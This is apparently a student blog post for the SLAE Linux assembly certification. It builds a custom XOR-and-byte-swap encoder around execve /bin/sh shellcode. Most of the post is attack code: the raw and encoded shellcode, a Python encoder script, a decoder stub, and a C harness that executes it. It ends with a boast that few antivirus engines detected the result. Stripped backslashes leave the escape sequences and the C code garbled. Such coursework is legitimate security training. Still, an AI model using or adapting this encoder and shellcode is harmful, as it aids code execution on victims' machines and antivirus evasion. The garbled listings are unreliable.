Assignment #4: A custom encoder

The fourth assignment for SLAE certification is to create a custom encoding scheme and create a weaponized PoC using che execve-stack assembler code.
The assignment was written on an Ubuntu Linux 18.04, with a Linux kernel 4.15 version.
The starting payload

We start our weaponized proof of concept from this assembler code

This assembler code translates after compilation in this shellcode:

"x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80"

The schema
First step is to align this payload so to be a 4 multiple. Let’s use x90 as padding.

"x31xc0x50x68" "x2fx2fx73x68" "x68x2fx62x69" "x6ex89xe3x31" "xc9x31xd2xb0" "x0bxcdx80x90"

Second step is to XOR this block with a KEY, that is 0xdeadbeef in our case.

"xefx6dxeex87" "xf1x82xcdx87" "xb6x82xdcx86" "xb0x24x5dxde" "x17x9cx6cx5f" "xd5x60x3ex7f"

We can swap first half and second half of each word

"x87xeex6dxef" "x87xcdx82xf1" "x86xdcx82xb6" "xdex5dx24xb0" "x5fx6cx9cx17" "x7fx3ex60xd5"

We prepend the payload with the actual number of byte of the shellcode, XOR-ed with the obfuscation key 0xdeadbeef
We have 24 bytes as payload in our weaponized PoC that turns in x18 as hexdecimal. I’ll fill a 32 byte register with the payload length, this implies that this encoding schema has a limitation for payload with size not longer than 255 bytes.
Filling the register, turn it to “x18x18x18x18”. We then apply the XOR with 0xdeadbeef encoding key and we obtain “xc6xb5xa6xf7”. We then store it swapped: “xf7xa6xb5xc6”
The final encoded payload is:

"xf7xa6xb5xc6" "x87xeex6dxef" "x87xcdx82xf1" "x86xdcx82xb6" "xdex5dx24xb0" "x5fx6cx9cx17" "x7fx3ex60xd5"

Decoding it
Given an encoded payload, the decoding route must be in place to make sure to revert our strategy.

take the first dword, and XOR with hardcoded key. An important part here is that we don’t need to revert the swapping action we did in encoding this first value becase on the stack values are stored in a reverse order. So storing into the stack, put the value in the correct order and we have just to XOR it back to calculate the payload length.
divide the value stored in AL with 8 and store on EDX the number of words   the payload is length
for each of the n dword(s)

byte swap the words
xor with the encoding key



When we will reach the payload length during iteration we jump to the decoded value in memory and the payload is executed for us.
The configurator
Here it is the python script I used to create different C programs containing different payloads. Please note that I added also a function to change the EGG value.

#!/usr/bin/env python import sys, getopt, textwrap, struct from binascii import unhexlify, hexlify  def help():     print sys.argv[0] + " [options]"     print "Valid options:"     print "t-h, --help: show this help"      return 0  def pad(string):     ret = string + "x90" * (4-(len(string)%4))     return ret  def xor(data, key):     l = len(key)      decoded = ""     for i in range(0, len(data)):             decoded += chr(data[i] ^ ord(key[i % l]))       return decoded  def xor_str(a,b):     result = int(a, 16) ^ int(b, 16) # convert to integers and xor them     return '{:x}'.format(result)   def swap(x):     s=x[6:8] + x[4:6] + x[2:4] + x[0:2]     return s  def main(argv):      key = ("xdexadxbexef")     shellcode=("x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80")      try:         opts, args=getopt.getopt(argv, "h", ["help"])     except getopt.GetoptError:         help()         sys.exit(1)      for opt, arg in opts:         if opt in ('-h', '--help'):             help()             sys.exit(0)         elif opt in ('-k', '--key'):             key=repr(binascii.unhexlify(arg)).strip("'")       padded_shellcode = pad(shellcode)     padded_hex=hexlify(padded_shellcode)     print "after padding:t" + padded_hex      shellcode_len=int(len(padded_shellcode))     print "payload len is:t"+str(shellcode_len)+" ("+str(hex(shellcode_len))+")"     ss= '{:x}'.format(shellcode_len)     shell_len_string = swap(xor_str(ss*4, "deadbeef"))     print "payload string:t" + shell_len_string           padded_xor_hex=""     for i in textwrap.wrap(padded_hex, 8):         padded_xor_hex+=xor_str(i, "deadbeef")     print "after_xor:t" + padded_xor_hex      padded_xor_swapped=""     for i in textwrap.wrap(padded_xor_hex, 8):         padded_xor_swapped+=swap(i)      print "after swap:t" + padded_xor_swapped      final_encoded_payload=shell_len_string +padded_xor_swapped     print "final payload:t" + final_encoded_payload      f=""     for x in range(0, len(final_encoded_payload), 2):         f+= "0x"+final_encoded_payload[x:x+2]+", "      print "NASM:tt" + f[:-2]       return 0  if __name__ == "__main__":     main(sys.argv[1:])

The proof of concept
This is the assembly weaponized PoC. It takes an encoded payload, it decodes it and then it passes the execution to the extracted code.



Dumping the shellcode I obtained:

"xebx2fx5ex8dx3ex31xc0x31xdbx31xc9x31xd2x8bx14x06x81xf2xefxbexadxdex04x04x8bx1cx06x41x38xd1x74x16x81xf3xefxbexadxdex0fxcbx89x1fx83xc7x04x04x04xebxe7xe8xccxffxffxffxf7xa6xb5xc6x87xeex6dxefx87xcdx82xf1x86xdcx82xb6xdex5dx24xb0x5fx6cx9cx17x7fx3ex60xd5"

I added this shellcode into the same C program used in previous assignments to test our shellcode and I executed it in order to check the payload is correct.

#include<stdio.h> #include<string.h>  unsigned char code[] =  "xebx2fx5ex8dx3ex31xc0x31xdbx31xc9x31xd2x8bx14x06x81xf2xefxbexadxdex04x04x8bx1cx06x41x38xd1x74x16x81xf3xefxbexadxdex0fxcbx89x1fx83xc7x04x04x04xebxe7xe8xccxffxffxffxf7xa6xb5xc6x87xeex6dxefx87xcdx82xf1x86xdcx82xb6xdex5dx24xb0x5fx6cx9cx17x7fx3ex60xd5"  		        int main(int argc, char **argv) { 	printf("Shellcode Length:  %dn", strlen(code 	int (*ret)() = (int(*)())code 	ret }

Virus Total
To prove my encoder on a real test bed, I used VirusTotal portal. Here it is the analysis.
As you may see, only 6 antivirus out of 59 detects the weaponized code as malicious.

Code in action
Here you can find the custom encoder weaponized code in action.
    
SLAE Exam Statement
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1217
Assignment #4: A custom encoder

The starting payload

The schema

Decoding it

The configurator

The proof of concept

Virus Total

Code in action

SLAE Exam Statement

Lascia un commento Annulla risposta
